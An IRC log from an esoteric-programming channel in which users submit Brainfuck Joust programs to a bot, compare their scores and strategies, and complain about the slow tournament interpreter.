22:33:25 um 22:33:30 hm 22:33:32 Deewiant: let me run it against defend6 locally 22:33:35 to see what happens 22:33:40 By all means 22:33:57 ais523, you said it broke the interpreter? Huh. 22:34:03 that doesn't make sense 22:34:24 Muah, I won http://www.irregularwebcomic.net/cgi-bin/poll.pl 22:34:27 not that the program seems to make sense either 22:35:01 I never voted 22:35:03 Deewiant: timeout and draw 22:35:05 as expected 22:35:14 oh, of course 22:35:17 So the scoring is just such that it gets 0? 22:35:18 bug in the channel reporter 22:35:20 if you replace a program 22:35:24 it reports its old score, not a new one 22:35:31 !bfjoust farmer1 [>(+)*128>(+)*128<[-]>[-]<<] 22:35:33 Score for Deewiant_farmer1: 0.0 22:35:38 Always the original 22:35:38 Meh 22:35:43 what about calling it farmer1a then? 22:35:49 !bfjoust farmer1-fixed [>(+)*128>(+)*128<[-]>[-]<<] 22:35:56 and the report has gone suspiciously blank 22:36:01 ... 22:36:13 Hyphens not allowed in names? :-P 22:36:20 !bfjoust farmer1_fixed [>(+)*128>(+)*128<[-]>[-]<<] 22:36:21 Deewiant, probably not 22:36:28 !help 22:36:28 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo echo_sh forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 22:36:41 !hello h 22:36:41 http://codu.org/eso/bfjoust/report.txt is blank... 22:36:46 I wonder what's happening now? 22:36:51 !underload (test)S 22:36:52 wait a bit and refresh 22:36:58 I think EgoBot's mostly dead 22:36:58 that's what it's been like when things were going 22:36:58 !befunge "foo">:#,_@ 22:37:03 even though it's responding to !help 22:37:10 i seem to hae submitted a broken script but i can't see why 22:37:10 !daemons 22:37:11 Running daemons: bottles butt 22:37:37 Score for Deewiant_farmer1-fixed: 0.0 22:37:37 !underload (test)S 22:37:38 Score for Deewiant_farmer1_fixed: 0.0 22:37:38 test 22:38:04 Deewiant: it seems that the scoring method uses doesn't give you points if you don't get any wins 22:38:04 Still 0, though 22:38:05 Oh well 22:38:10 you got many draws 22:38:15 and a few losses 22:38:17 but no win 22:38:18 *wins 22:38:22 it was all draws before 22:38:45 wtf creep is on top now 22:38:50 Hmmnh, that scoring system sucks :-P 22:39:00 look at all those ties 22:39:01 something broke 22:39:05 oh right 22:39:06 farmer 22:39:07 0 is a tie? 22:39:08 too many ties 22:39:25 defend has hit its downside 22:39:41 Can those extraneous farmers be removed? 22:39:42 nescience: well, I'll probably make a defend7 at some point 22:39:50 Deewiant: they will be 22:39:53 It'd be better to run each pair of warriors at every possible tape length and base the score on that. 22:39:56 next time a program is submitted 22:39:58 ais523: Manually, by someone else? :-P 22:39:59 -!- sebbu2 has quit (Connection timed out). 22:40:04 Deewiant: no, automatically 22:40:16 !bfjoust attack1 [>[-]+] 22:40:18 Score for ais523_attack1: 13.5 22:40:30 see, gone 22:40:41 Oh, they're not permanent by default? 22:40:51 impomatic: ehird is doing that 22:41:01 Deewiant: only the 10 best programs from each run are maintained 22:41:07 Ah 22:41:10 although your three farmers were placed into the same run, it seems 22:41:25 If it doesn't finish a run before you add a new one, the new run will have two added instead of one. 22:41:28 ok, it is still tying everything 22:41:30 what's the deal 22:41:40 sorry for the repeated submissions, i kept missing the refresh to see the chart 22:41:47 is there some error i am getting? 22:42:37 nescience: you have to wait for the report to regenerate 22:42:43 i did 22:42:45 it wasn't on the report 22:42:47 i submitted, 22:42:50 now it is, but all ties 22:42:58 nescience: all ties normally indicates a bug in the program 22:43:00 or a typo 22:43:03 strikes me as highly improbable, but i can't see a problem with the program 22:43:07 as in, invalid syntax 22:43:09 (>(-)*9)*2>(>-)*4(>[(>(+)*10[-])*20])*20 22:43:12 do you see one? 22:43:53 not an obvious one 22:43:57 let me run it through my local interp 22:44:16 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:44:44 bug in the interp, it doesn't like the syntax (>[(>(+)*10[-])*20])*20 22:44:50 I think it doesn't like [] inside () 22:45:00 try using (>[(>(+)*10[-])*20]{})%20 instead 22:45:25 what's %20 about 22:45:35 nescience: it's the nesting abbreviation 22:45:38 like *, but []-aware 22:45:55 it means "20 times, replace the {} with the contents of these parens" 22:45:55 mmk 22:45:59 as in, it's recursive 22:46:01 i see 22:46:08 so (a{}b)%5 = aaaaabbbbb 22:46:47 Does this work? (a{}b{}c)%5 = aaaaabbbbbccccc 22:47:01 What would (a{b}c{d}e)%5 be 22:47:17 didn't seem to like it any better 22:47:21 impomatic: no, that makes no sense 22:47:31 you should write it (a{(b)*5}c)%5 22:47:46 Deewiant: only one {} block inside each ()% 22:47:58 ais523: Yeah, it was at impomatic 22:47:58 i'll have to mess with it later 22:48:13 i don't have the time to concentrate on it >:( 22:48:31 or i guess i could just manually expand it 22:50:08 %20? 22:50:28 AnMaster: it's an improved, []-aware, version of runlength compression 22:50:33 read the wiki article 22:50:40 ah 22:50:42 found it 22:51:05 ais523, no way I will implement that in in-between btw 22:51:12 err, you don't have to 22:51:16 good 22:51:20 optimising BF Joust programs makes no sense as it is 22:51:27 because all tape elements are volatile 22:51:36 you can't even guarantee memory is at 0 after [-] 22:51:45 ais523, well I thought you might use it in normal bf 22:51:47 ahah 22:51:48 it worked 22:51:48 that compression I mean 22:51:58 (and some BF Joust programs specifically check for 0 after [-], as it happens) 22:52:18 nescience: wow, that's a good program 22:52:30 credit goes to impomatic though 22:52:30 what program... 22:52:39 AnMaster: nescience_shade 22:52:41 i just combined his current best code with an idea he put in my head :P 22:52:47 ais523, the source? 22:53:06 I mean, this is fairly pointless and boring if I can't see the source. 22:53:06 AnMaster: http://codu.org/eso/bfjoust/in_egobot/nescience_shade.bfjoust 22:53:14 ah 22:53:18 wow that is large 22:53:31 see above 22:53:39 i manually expanded it because the interpreter failed on the condensed code 22:53:40 nescience: I don't get how that beats defend6 22:53:42 * ais523 runs locally 22:53:55 it skips your tripwire 22:54:08 and, usefully, inverse defend6's too 22:54:15 -!- nooga has joined. 22:54:22 it'll run right off the end for any program that doesn't have decoys though 22:54:44 but hey, can't have it all 22:55:32 you're right, the tripwire never changes 22:56:05 that's brilliant, assuming that the opponent has decoys, and skipping them 22:56:11 clearly what defend6 needs is... a decoy decoy! 22:56:27 -!- oerjan has joined. 22:57:01 hey, some hats are missing on http://choosemyhat.com/index.php 22:57:18 (compared to a few months ago at least) 22:57:20 hi oerjan 22:57:32 * oerjan gets spam from the Google Kingdom of Thailand, and thinks google branding may be going a bit overboard 22:57:36 hi AnMaster 22:57:37 then i'll skip two! 22:57:37 :P 22:57:50 People don't actually read choosemyhat.com 22:58:25 GregorR-L, didn't notice the notice at the top 22:58:33 oerjan: Google branded spam? 22:58:46 !bfjoust defend7 http://pastebin.ca/raw/1436788 22:58:56 Score for ais523_defend7: 68.0 22:58:59 not bad 22:59:01 GregorR-L, I was planning to vote for http://codu.org/hats/Tricorn-med.jpg 22:59:49 GregorR-L: the text at the top may be too long, everyone knows AnMaster cannot read more than three lines 23:00:16 and straight to the top of the table 23:00:19 oerjan, I'm trying to do like haskell for everything 23:00:32 only program that beats it is impomatic_creep 23:00:50 ais523: the spam text started with the line "Google Kingdom of Thailand" 23:01:17 so no one is going to ask what I meant with that... 23:01:28 it seems 23:01:38 oerjan: yes, I guessed 23:02:08 AnMaster: BWAHAHAHA 23:02:16 oerjan, huh? 23:02:31 AnMaster: we wickedly refuse to ask 23:02:35 :/ 23:02:38 VERY WELL! 23:02:44 I shall then tell you anyway! 23:02:50 AAAAAAAAAAAAAAAAA 23:02:56 Lazy evaluation of everything! 23:03:03 OMF 23:03:04 that is the key to getting ehird irritated. 23:03:12 nooga: HUM? 23:03:12 lazy read scrollback 23:03:14 and so on 23:03:43 of course it is, *verbose* lazy evaulation 23:03:51 we notice 23:03:55 22:05 AnMaster: maybe it is gnu emacs specific? 23:03:55 22:05 AnMaster is currently using µemacs 23:03:56 you think you're so clever, don't you... 23:04:05 ehird, what 23:04:26 ehird, checked in gnu emacs too and couldn't find it 23:05:05 22:13 nescience: ehird: did you see my comment about timing in the wiki talk page? 23:05:06 yes 23:07:46 -!- Patashu has joined. 23:09:23 14:53:06 I mean, this is fairly pointless and boring if I can't see the source. 23:09:26 original bf joust worked sourceless 23:09:28 which was fine 23:09:47 ehird, you are basing that comment on false premises. 23:09:52 You assume I want to "play the game" 23:09:53 I don't 23:10:02 i don't give a fuck what you want to do, AnMaster 23:10:04 I'm interested in reading the source and seeing how it works though 23:10:06 never have, never will 23:10:35 but you keep seeming to believe I do... 23:10:39 ehird, my comment is still true. Since I said was referring to myself. 23:10:49 that is not what you said. 23:10:49 I wasn't saying it was pointless for other people 23:10:51 only for me 23:11:02 !bfjoust defend8 http://pastebin.ca/raw/1436819 23:11:14 that one should beat defence programs /and/ most attack programs 23:11:42 but it takes ages to run 23:11:47 ais523, any chance of small and elegant programs ever being best? 23:11:54 haha 23:11:54 this is brainfuck 23:11:56 doesn't look like it does it 23:11:58 unlikely 23:12:02 rushpolarity... 23:12:05 nescience, yeah :/ 23:12:14 ais523: :P 23:12:16 AnMaster: programs can be big and still elegant 23:12:21 !bfjoust defend8mwahahaha http://pastie.org/492056.txt?key=srkdkdwiqowwbzvvyoow 23:12:24 well actually what we need 23:12:27 you can add as many decoys as you want, i can still take you out every time! :> 23:12:29 laf 23:12:29 is a preprocessor command that can take a variable 23:12:36 ehird: did you just reverse his +s and -s again? 23:12:36 ais523, sure. But I didn't say that. 23:12:39 and copies it x times, increasing the value y by 1 each time 23:12:40 nescience: maybe 23:12:48 (copies a section of code) 23:12:48 laf 23:12:53 now that there's 4 copies of defend on there 23:12:56 ehird: a +/- flipped version? 23:12:59 writing a straight up defend-killer is feasible 23:13:00 yep 23:13:11 ais523: boy this is slow 23:13:12 nescience: defend7 and defend8 both beat your decoy-skipper 23:13:26 ehird: yes, the program isn't handled well by the interpreter 23:13:56 ais523: of course, because i used a cheap trick to beat 6 23:14:05 but that's far from the only way to beat it 23:14:05 it was a clever trick, though 23:14:10 and agreed 23:14:12 what was that trick 23:14:14 defend8 also beats defend6 23:14:15 i've already beat it like 5 different ways 23:14:26 and now that there's so many.. time to see some other ways 23:14:28 AnMaster: deliberately not stepping on the tripwire 23:14:32 i wonder how to allow multichar ids in next sadol 23:14:35 if the program ever updates 23:14:40 $ time perl bfjoust.pl defend8.bj defend6.bj > /dev/null 23:14:41 ais523, how would it know where that tripwire was 23:14:41 real0m40.113s 23:14:43 user0m19.613s 23:14:44 sys0m13.169s 23:14:54 AnMaster: it can't be to the left of the flag 23:14:58 so it must be to the right 23:15:10 hm ok 23:15:14 however, defend7 has a decoy decoy 23:15:25 confusing 23:15:31 so that nescience's program skips the decoy decoy, and falls into the real decoy 23:15:56 ais523, and what about defend8 23:16:14 and when will that report be generated... :/ 23:16:21 AnMaster: it's like defend7, but after 2000 cycles it stops waiting and zooms off to attack the opponent instead 23:16:22 the interpreter seems horribly slow 23:16:25 and it is 23:16:31 that's why ehird's writing a faster one 23:16:40 with polarities! 23:16:52 dink donk march retreat consider reconsider rest eof 23:17:02 ais523, why is the old report zapped before the new one is ready 23:17:02 * ehird twiddles with the parser 23:17:05 it seems silly 23:17:48 !bfjoust simpletest (>[[-]])*29 23:18:16 I think !bfjoust broke 23:18:18 that one can only fall through if the instruction it is on is 0 twice in a row 23:18:24 no brainfuck program can take this long to write 23:18:25 defend all you want 23:18:25 :> 23:18:28 *run 23:18:37 max cycles is 384000 23:18:38 so ... 23:18:42 Patashu: it's running, just slowly 23:18:47 i dunno what the interpreter is written in but it could take a while 23:18:51 the problem is that it's trying to do regexen on a very long string 23:19:01 is it unpacking all the *s? 23:19:02 that interp is O(n) in the length of the program to run one cycle 23:19:03 which is bad 23:19:09 Patashu: no, the %s 23:19:13 it has to unpack them when they run 23:19:17 shouldn't it do it all first 23:19:19 then run the full string? 23:19:41 Patashu: to speed it up, it unpacks as it goes 23:19:49 the problem is that regex matching on the unpacked strings is very slow 23:19:58 -!- impomatic has left (?). 23:20:26 still, it should have finished by now 23:20:45 lol 23:20:49 even if each game takes 40 seconds, I'd expect it to have finished 23:20:50 good job you broke it! 23:20:58 it's only playing another programs, that's 400 seconds 23:21:05 or a little under 7 minutes 23:21:36 !befunge98 'A,@ 23:21:39 !help 23:21:39 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo echo_sh forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 23:21:39 if it's going to run ten games in a row 23:21:45 !daemons 23:21:45 Running daemons: bottles butt 23:21:49 it would be much more efficient to unpack it all at the beginning 23:21:50 !butt wut 23:21:55 ais523: heh, my interp doesn't even handle the abbreviations 23:21:58 that's for a frontend 23:22:00 Patashu: much of the program often never needs to unpack 23:22:10 ehird: my interp stores the program with the abbreviations in 23:22:10 !c int main(void){printf("HALDO!\n");return 0;} 23:22:11 it is dead. Borked. Out of order. Not working. 23:22:12 and unpacks on the fly 23:22:19 AnMaster: the same happened earlier 23:22:19 well 23:22:23 clearly it's not working very well <.< 23:22:23 and then all the results came at once 23:22:27 ais523: yep 23:22:32 when I submitted the 21 buggerers 23:22:32 ais523, very odd that it throttles then 23:22:36 I thought it was async 23:22:40 that was part of the point of it 23:22:48 i want some time to examine defend8 23:22:49 : 23:22:54 it doesn't just sit there like the others :P 23:23:00 "the 21 buggerers" sounds like a biblical story 23:23:00 not quite 23:23:04 it starts with [ 2000 times 23:23:10 lol 23:23:19 and has a copy of defend6 after each ] 23:23:19 ais523: how big is it, expanded? 23:23:23 (the defend7 setup is before that) 23:23:24 7 billion megabytes? 23:23:24 !c printf("WTF, Egobot?\n"); 23:23:33 i see 23:23:36 i didn't quite follow that to the end 23:23:40 ehird: a bit less than 1 MB 23:23:41 GregorR-L: !c is borken. 23:23:46 pikhq: NO. 23:23:47 *NO. 23:23:48 lol 23:23:49 pikhq: all EgoBot commands seem borken 23:23:49 *No. 23:23:52 EgoBot is borken 23:23:54 whilst bfjoust is running 23:23:56 !daemon 23:23:56 It's hung up doing something 23:23:57 Invalid invocation. 23:23:58 apart from help, daemon, etc 23:23:59 i was considering suggesting a "loop max N timse" 23:24:00 times* 23:24:03 !bf_txtgen this too? 23:24:03 GregorR-L: EgoBot is borken. 23:24:05 obviously that would be better than this 23:24:07 97 +++++++++[>+>+++++++>+++++++++++++>++++<<<<-]>>>-.------------.+.++++++++++.>----.<+.-----..<.<+. [120] 23:24:09 !underload (Test)S 23:24:09 no 23:24:11 not that one 23:24:16 AnMaster: only the interps, it seems 23:24:16 just the normal commands are 23:24:22 I know, I know, when the CPU is being raped by bfjoust nothing else can run. 23:24:25 ais523, which is the main feature of it 23:24:29 GregorR-L: nice foo 23:24:36 GregorR-L, you need to throttle it then 23:24:36 (nice(1)) 23:24:39 it's not very brainfucky but still 23:24:49 GregorR-L, I thought this slox already did that... 23:25:36 GregorR-L, I guess slox is broken 23:25:46 I guess slox doesn't do what you thought. 23:25:50 UNPOSSIBLE 23:26:23 i gues i still don't quite get how {} works 23:26:23 ehird, um. What would it do instead of throttling programs. 23:26:29 it repeats the part between ( and { X times 23:26:33 and the part between } and ) X times? 23:26:37 AnMaster: Limit memory usage? 23:26:38 Score for nescience_simpletest: 20.5 23:26:38 Score for ais523_defend8: 45.1 23:26:38 Score for ehird_defend8mwahahaha: 58.3 23:26:41 YAY 23:26:43 ais523: LOL 23:26:45 it did badly 23:26:49 defend8 only got 45.1? 23:26:52 ehird, could you please check what on earth you are talking about 23:26:56 ehird, you are so wrong. 23:26:57 ais523: I beat it by reversing polarity! 23:27:14 ah, it /lost/ to defend6 and defend7 23:27:17 Great Leader AnMaster says slox does one thing. Lo, his superlative opinion is the objective fact! 23:27:19 which is strange, as it beat them in my local test 23:27:26 ehird, I checked duh. 23:27:48 AnMaster: Slow down program != throttle program 23:27:50 's CPU usage 23:27:52 ehird, GO FUCKING READ THE WEBSITE BEFORE BEING STUID. 23:27:57 STUPID* 23:27:57 STUID 23:27:59 YOU'RE SO STUID 23:28:00 http://codu.org/slox.php 23:28:07 AAAAAAAAARGH ME AnMaster CRUSH PUNY HUMANLINGS 23:28:10 ehird, I corrected the typo before you replied. 23:28:23 -!- ais523_ has joined. 23:28:29 -!- ais523 has quit (Nick collision from services.). 23:28:35 -!- ais523_ has changed nick to ais523. 23:28:40 ehird, please see http://codu.org/slox.php, then come back again. 23:28:41 sorry about that, my grandmother turned off the router by mistake 23:29:04 AnMaster: 23:29:04 23:27 ehird: AnMaster: Slow down program != throttle program 23:29:05 23:27 ehird: 's CPU usage 23:29:10 I did, thank you very much. 23:29:24 ehird, so how would it fail in this case 23:29:50 23:27 ehird: AnMaster: Slow down program != throttle program 23:29:50 23:27 ehird: 's CPU usage 23:30:15 as far as I can remember from what GregorR said, it is used for all programs that egobot runs. It gives equal limited CPU time to each such program 23:30:33 the total cpu time for all programs is limited to a max 23:30:45 i musta broke simpletest 23:30:48 haha 23:30:48 I just tested: defend8 definitely beats defend6 23:30:49 creep still wins 23:30:51 at my end, at least 23:30:58 where's your defend now! 23:31:13 so non-egobot processes always have a lot 23:31:24 maybe it fails to use slox for joust 23:31:28 since it is a special process 23:31:31 or something like that 23:31:33 and creep beats defend7 too... 23:31:36 something weird is going on 23:31:42 is that the same creep, or an improved version? 23:31:50 check the source code for it 23:31:52 same creep 23:31:55 * ehird wonders wtf his parsing is doing 23:31:59 been sitting there about since i submitted it yesterday 23:32:24 it still has that 132-cycle wait 23:32:30 it parses [>[-]+] as >-]+] 23:32:30 it's not surprising 23:32:33 it would seem rather vulnerable to fast attack programs... 23:32:35 creep is a defend killer anyway 23:32:41 and gives jump locations to non-jumps 23:32:43 oh, it's the slow sucky one 23:32:47 and yes, creep is a paper strategy 23:32:48 that was made to counteract inverse defend 23:32:51 aha 23:33:02 if it's not waiting as long as you need it to sprinkle nops 23:33:03 defend programs are doing so well that anti-defence is making a comeback 23:33:03 works now 23:33:23 !bfjoust attack1 [>[-]+] 23:33:25 Score for ais523_attack1: 6.5 23:33:52 i'm not sure why the test doesn't beat the defends though 23:34:04 [[-]] should loop if it's not 0 twice in a row, correct? 23:34:08 aw 23:34:12 it beat creep but lost to everything else 23:34:12 rushpolarity finally got pushed off 23:34:15 survival of the fittest etc 23:34:20 nescience: not necessarily 23:34:31 oh, yes necessarily 23:34:34 I was wondering about 0, 1, 0 23:34:38 but yes, it needs two 0s in a row 23:34:44 so why doesn't it beat defend? 23:34:54 -!- coppro has joined. 23:35:00 so why doesn't what beat defend? 23:35:10 alrighty, ais523 23:35:18 I have all the parsing done for an efficient representation 23:35:23 so I'm going to write run_match() 23:35:30 ais523: two simple warriors, please? 23:35:38 ehird, what is this representation 23:35:38 [>[-]+] and... 23:35:47 AnMaster: the very trivial: 23:35:48 struct _ins_t { 23:35:49 op_t op; 23:35:51 ins_t *jump; /* NULL unless consider or reconsider */ 23:35:53 }; 23:35:53 ehird: [>+[]<(.)*258(+)*127] 23:36:00 ais523: i said simple 23:36:00 ehird, in an array? 23:36:01 like really simple 23:36:03 AnMaster: yes 23:36:17 [>[-]-.-.-.-.-.-] 23:36:32 why doesn't my test script beat defend 23:36:34 i probably did it wrong 23:36:35 1sec 23:36:36 !bfjoust fool2 [++[++[>+[(.)*5-]+>]-]-] 23:36:39 ehird, and "consider or reconsider" are strange names for loops? 23:36:54 OP_DINK, /* + */ 23:36:54 OP_DONK, /* - */ 23:36:55 OP_MARCH, /* > */ 23:36:57 OP_RETREAT, /* < */ 23:36:58 Score for ais523_fool2: 24.0 23:36:59 OP_CONSIDER, /* [ */ 23:37:00 ehird: this is #esoteric, get used to it 23:37:01 OP_RECONSIDER, /* ] */ 23:37:03 OP_REST, /* . */ 23:37:05 OP_EOF, /* (end of program) */ 23:37:07 AnMaster: you must realise that i _did_ name my two polarities sieve and kettle 23:37:09 please don't do that 23:37:09 ais523: defense1, then... 23:37:13 ... (>[[-]])*29 23:37:14 coppro: it was a few lines. 23:37:18 why doesn't that beat defend, was the question 23:37:18 ehird, true. You are going ICK style. 23:37:19 8 is a few? 23:37:23 ick* 23:37:25 it should work as far as i can see 23:37:25 AnMaster: no, intercal styl 23:37:26 e 23:37:30 coppro: Yes. 23:37:49 ehird, well. ick has some odd names internally too iirc. Not as many though. 23:38:19 ais523: ? 23:38:22 fungot, how are you? 23:38:22 AnMaster: ohno ohno 23:38:24 !bfjoust fool3 >>>>>>>>>[++[++[>+[(.)*5-]+>]-]-] 23:38:33 ehird: ick does have a few, mostly filenames 23:38:38 fungot, um... Are you Rincewind? 23:38:38 AnMaster: youi usuck,boeings better airbus is a writer and writer for snl and crackin' up watchin' this video..when suddenly the local nbc station froze up. 23:38:49 ais523: I just asked for defense1 23:38:55 nop... not discworld 23:38:55 ehird: I pasted it above 23:38:56 ^style 23:38:57 Available: agora alice c64 darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp youtube* 23:39:00 [>+[]<(.)*258(+)*127] 23:39:01 ahaha 23:39:04 ais523: I cannot find it 23:39:07 err 23:39:09 okay, that's defense1? 23:39:10 ehird: see my last comment 23:39:12 what about fool1 23:39:12 yes, it is 23:39:13 ^style discworld 23:39:14 Selected style: discworld (a subset of Terry Pratchett's Discworld books) 23:39:18 i'm looking for something very trivial :) 23:39:19 fungot, ping 23:39:20 AnMaster: ' i think you'll find,' he said. " so i should get something.' now lobsang straightened up and stared straight ahead of him, pushing through the bushes, and he'd sat up all night," said 23:39:21 [>[-(.)*64]-] 23:39:22 that's fool1 23:39:25 and it is very trivial 23:39:34 fungot, make sense! 23:39:34 AnMaster: they did. look," said sergeant colon. " i don't think my calculations were that fnord" 23:39:42 heh 23:40:02 ais523: kay, [>[-................................................................]-] 23:40:11 Score for ais523_fool3: 19.0 23:40:22 fungot, . 23:40:24 hm 23:40:32 run_match(a, b, POLARITY_SIEVE, 20); 23:40:35 mind resetting it's limit? 23:40:42 !bfjoust fool4 (>(+)*6)*9[++[++[>+[(.)*5-]+>]-]-] 23:41:11 Score for ais523_fool4: 41.5 23:42:35 !bfjoust lazy (+-)*150000(>)*9([-]>)*21 23:43:12 ais523: is it a pain to synchronize the two programs? 23:43:14 in your interp 23:43:29 ehird: not really 23:43:40 !bfjoust simple [>[-]] 23:43:49 hmm 23:43:49 ais523: so how does [ work? 23:43:53 must be fighting defend8 ;) 23:43:57 do you just indescriminately save the current cell before doing anything? 23:44:04 *indiscriminately 23:44:08 ehird: that's how I implemented it 23:44:10 after all, it's only one int 23:44:16 yar 23:44:42 __asm__("nop"); 23:45:39 ehird, that seems wasteful. Wouldn't it be better to just directly skip to the other program 23:45:52 also gcc will optimise away that asm 23:45:59 you need a volatile asm to actually do it 23:46:33 __asm__ about to erupt("nop"); 23:46:37 -!- FireFly has quit ("Later"). 23:46:42 ehird, um? 23:46:46 Very volatile. 23:46:53 ... 23:46:54 hehe, bfjoust is stuck again 23:46:56 fight to the death with defend8 23:47:10 !bfjoust simpletest (>[[-].])*29 23:47:11 Score for nescience_simpletest: 20.5 23:47:26 huh? 23:47:26 hang on 23:47:30 ais523: what happens if a program ends? 23:47:32 that is 23:47:35 + vs [>[-]+] 23:47:39 !bfjoust lazy (+-)*180000(>)*9([-]>)*21 23:47:42 ehird, read on the wiki 23:47:49 AnMaster: lazy :) 23:47:51 I'm pretty sure it said 23:48:00 problem with +- is 23:48:04 ehird, hey I patented lazy evaluation over iIRC 23:48:06 IRC* 23:48:12 bah 23:48:19 I can't screw around without my instant results 23:48:22 eventually they'll get you to 0 23:48:24 you'd have more of a hope at being funny with that joke if you knew what lazy evaluation meant 23:48:33 and then execute the opposite of your code which is 0 twice 23:48:34 -!- coppro has quit ("The only thing I know is that I know nothing"). 23:48:35 * GregorR-L reappears. 23:48:37 aah 23:48:39 ehird, I know. And I'm making a parody on it 23:48:43 hmm 23:48:45 It is throttled, but bfjoust is only nice'd. 23:48:47 like if you are 1 and you dec, you become 0, then if they dec and you add, it's 0 again 23:48:48 AnMaster: that's like saying grapes are a parody of bread 23:48:49 oh, I remember how I was doing it with matador 23:48:49 ehird: if a program ends, it nops forever 23:48:50 ehird, I'm well aware it isn't exactly the same as this. 23:48:55 it was ++- for a while then --+ for a while 23:48:57 ais523: oh. 23:49:03 -!- coppro has joined. 23:49:04 same problem, less likely 23:49:12 there's nothing wrong with going in only one direction 23:49:18 switching direction is what causes a potential loss 23:49:19 ehird, don't be daft. They are a parody of apples. 23:49:46 apples are, admittedly, a parody of bred 23:49:48 bread* 23:49:50 argh, I need a type WARRIOR_A or WARRIOR_B. 23:50:08 ehird, bool 23:50:14 or something 23:50:14 nothx 23:50:15 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:50:19 typedef enum { 23:50:20 WARRIOR_A, 23:50:20 ehird, enum 23:50:21 WARRIOR_B, 23:50:23 yep 23:50:23 } warrior_id_t; 23:50:30 !bfjoust lazy ((+)*1024(-))*256(>)*9([-]>)*21 23:50:43 one has value 0, the other value 1 23:50:46 iirc 23:50:51 it doesn't like my program :) 23:50:57 it instantly told nescience what HIS program scored 23:50:59 favouritism! 23:51:10 Patashu: yours is probably longer than his 23:51:18 I thought it ran them sequentially 23:51:20 it's parallel? 23:51:20 either in time to execute, or in physical length 23:51:28 and it is sequential 23:51:35 but it has to run against all the programs there 23:51:42 some of which are slow against various other strategies 23:51:43 GregorR, there still? 23:51:49 i wish you guys would at least wait for the table to update before submitting revisions :\ 23:52:00 so you wish I would 23:52:02 GregorR, can you fix EgoBot so it doesn't stall every other interpreter if bfjoust runs 23:52:12 GregorR, properly rate limit, like other interpreters 23:52:40 I guess this is due to it being implemented as a special command 23:52:43 "the reward for a job well done is two more jobs..." 23:53:12 i wish you guys would at least wait for the table to update before submitting revisions :\ <-- agreed 23:53:34 Score for KingOfKarlsruhe_simple: 11.8 23:53:34 Score for Patashu_lazy: 11.8 23:53:34 Score for Patashu_lazy: 11.8 23:53:34 Score for Patashu_lazy: 11.8 23:53:38 or that someone fixed the bug with the table being cleared before the new results were read 23:53:40 oop here we go 23:53:40 ready* 23:54:01 Patashu, silly to resubmit it 23:54:10 lazy gets lots of ties :0 23:54:20 beats...fool4 and shade 23:54:57 fool4 is moving up the rankings... 23:55:08 and I don't know why 8 is doing so badly, I guess it's tape-length dependent 23:55:15 6 will beat it on a short tape, it'll beat 6 on a long tape 23:55:17 it still doesn't beat defend 23:55:19 i do not get this 23:55:45 nescience: what is simpletest? 23:55:45 .bfjoust is a very long extension... 23:55:50 you haven't pasted the source in-channel 23:55:54 AnMaster: ehird told be not to use .bj 23:56:01 ais523, why 23:56:03 blowjob? 23:56:05 :) 23:56:09 what Patashu said 23:56:12 Patashu, you have a dirty mind 23:56:21 ehird: my friends use it as an abbreviation for "bonjour" 23:56:23 AnMaster: and LOL means Lots of Love. 23:56:23 i did above 23:56:25 ais523: hahaha 23:56:28 "hi there! bj!" 23:56:29 (>[[-]])*29 23:56:34 ehird, it does? 23:56:42 AnMaster: Yep. And BJ means BF Joust. 23:56:55 i added a . in case it was some weird parser error 23:56:59 ehird, "bj" doesn't mean anything specific to me 23:57:25 * ehird thinks of a way to run some code twice in C without a temp var 23:57:50 ehird, repeat the statement twice? :P 23:57:58 AnMaster: more than one 23:58:17 -!- EgoBot has quit (Remote closed the connection). 23:58:20 -!- EgoBot has joined. 23:58:30 ehird, um. Like foo(); bar(); quux(); foo(); bar(); quux(); ? 23:58:34 macro 23:58:54 #define REPEAT_SHIT foo(); bar(); quux(); and then REPEAT_SHIT REPEAT_SHIT 23:58:54 AnMaster: like switch(){gigantic} 23:59:00 ah 23:59:00 nescience: it loses to defend6 the same way defend6 beats anything else with [-] in it 23:59:04 that could be messy in a macro 23:59:22 ehird, inline function? 23:59:32 meh :) 23:59:51 ehird, not sure if it would affect speed anyway... 2009-05-28: 00:00:13 !bfjoust simpletest (>[-][-][-][-][-])*29 00:00:15 Score for nescience_simpletest: 28.5 00:00:16 better profile to make sure you need it 00:00:34 ha, somewhere in that mess playing the odds got knocked off 00:00:43 guess it eventually had enough entries that got new rolls 00:00:43 :P 00:00:49 nescience: the defend6 and up programs beat that by locking them in a [-] loop while grabbing the flags 00:01:12 shouldn't happ... oh, right 00:01:21 i was considering the same thing, but i thought i had time once you "left" 00:01:33 ais523, so it does something like [>----<+] ? 00:01:38 didn't put two and two together 00:01:46 to keep incrementing it 00:01:48 ugh, my main loop is getting ugly 00:02:00 AnMaster: a bit like that 00:02:05 ehird, it is C. What do you expect? 00:02:10 true. 00:02:11 it does +*128 every 256 steos 00:02:11 still, really ugly. 00:02:12 i assume that they don't leave more than ~250 cycles between when they leave their flag, but really it's a timing thing 00:02:13 *steps 00:02:14 eh, I can refactor it later 00:02:19 important thing is that it works, and works fast 00:02:23 to cancel out [-] (directly) or [+] (by shunting it past 0 too fast) 00:02:39 in some cases code duplication DOES speed up however 00:02:47 but profile before you do it 00:02:47 for (current_warrior = WARRIOR_A; current_warrior <= WARRIOR_B; current_warrior++) { 00:02:52 right, but still if it doesn't rest on 0 the first time it should come around to it again i thought 00:02:58 seemed like there would be time for it 00:03:12 in cfunge the code for "is vector cardinal" had to be duplicated from vector.c into funge-space.c 00:03:24 !bfjoust simpletest (>[[++++++++]])*29 00:03:26 Score for nescience_simpletest: 28.5 00:03:27 it was too slow otherwise 00:03:31 AnMaster: why not let the 